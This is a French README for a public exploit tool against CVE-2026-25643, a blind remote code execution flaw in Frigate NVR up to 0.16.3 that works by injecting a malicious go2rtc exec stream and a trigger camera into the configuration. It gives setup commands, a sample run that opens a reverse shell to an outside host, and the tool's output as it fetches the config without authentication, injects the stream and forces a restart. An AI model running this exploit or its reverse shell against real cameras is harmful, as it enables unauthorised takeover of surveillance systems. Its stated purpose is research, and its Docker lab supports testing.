
CVE-2026-25643 : Frigate ≤0.16.3 RCE aveugle via injection exec go2rtc
Cet exploit Python cible une vulnérabilité critique de manipulation de configuration dans Frigate NVR versions jusqu'à 0.16.3 (chemins authentifié et non authentifié). En injectant un flux go2rtc malveillant et une entrée de caméra factice, il déclenche l'exécution arbitraire de commandes en tant que processus Frigate lors du redémarrage du service — sans nécessiter de shell inversé ni de capture de sortie.
[!NOTE] Pour garantir un environnement propre et isolé pour les dépendances du projet, il est recommandé d'utiliser le module
venvde Python.
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
Target : http://localhost:5001
Commande: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] Aucun identifiant fourni → tentative d'accès non authentifié
[*] Récupération de la configuration actuelle (/api/config/raw) ...
[*] Récupération config → HTTP 200
[*] 914 octets reçus
[*] La config était encapsulée en JSON → désencapsulée
[+] Config analysée avec succès (7 clés de premier niveau)
[*] Préparation de la charge utile → exécution de : bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] Utilisation de la charge utile : bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] Flux malveillant injecté → debug_cmd
[+] Caméra de déclenchement injectée → trigger_exec
[*] Envoi de la config modifiée (861 octets) avec option : restart
[*] Sauvegarde config → HTTP 200
[+] Configuration acceptée (le serveur devrait redémarrer)
============================================================
Charge utile envoyée ! La commande devrait s'exécuter lors de l'init go2rtc / du probe caméra.
À garder à l'esprit :
• La sortie n'est PAS capturée (exécution aveugle)
• La commande s'exécute en tant qu'utilisateur/processus Frigate
• Plusieurs exécutions peuvent avoir lieu pendant le redémarrage
============================================================
cd docker/
docker compose down
docker compose up -d
# Vous pouvez tester avec --url http://127.0.0.1:5001

Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par l'outil.